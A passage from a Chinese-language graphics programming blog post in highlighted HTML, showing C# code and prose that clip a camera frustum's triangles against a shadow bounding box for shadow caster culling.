class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecamera\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCalculateFrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeye\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epoint\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e然后,给出一个索引列表,这个不唯一,也不用考虑顺时针或逆时针。我是用下面的方式拆分的。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"拆分成三角形\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240923211259.png\" /\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e12\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereadonly\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3 id=\"裁剪主相机视锥体\"\u003e裁剪主相机视锥体\u003ca class=\"headerlink\" href=\"#裁剪主相机视锥体\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e将刚才那 12 个三角形变换到光源 View Space 后,暂时不考虑 Z 轴,裁剪出阴影包围盒矩形区域中的部分。\u003c/p\u003e\n\u003cp\u003e先考虑一个三角形被一条线裁剪的情况。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"一个点在内部\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240924000446.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e三个点都在内部,或者都不在内部的情况就不说了。只有一个点 \u003cspan class=\"arithmatex\"\u003e\\(A\\)\u003c/span\u003e 在内部时,如上图。根据相似三角形很容易算出 \u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(Q\\)\u003c/span\u003e 点的坐标,进而将 \u003cspan class=\"arithmatex\"\u003e\\(\\triangle ABC\\)\u003c/span\u003e 裁剪为 \u003cspan class=\"arithmatex\"\u003e\\(\\triangle APQ\\)\u003c/span\u003e。两个点在内部的情况和上面类似,只是裁剪出来是一个四边形,要再拆成两个三角形。\u003c/p\u003e\n\u003cp\u003e一个三角形被一个矩形裁剪,相当于依次被这个矩形的 4 条边裁剪。最坏情况下,每次三角形都是两个点在内部,然后三角形数量翻倍,最后变成 16(2 的 4 次方)个三角形。\u003c/p\u003e\n\u003cp\u003e对 12 个三角形依次做上述裁剪,视锥体就被裁剪完成了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eTriangleData\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eenum\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eEdgeData\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eAdjustViewSpaceShadowAABB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumCornerCount\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan 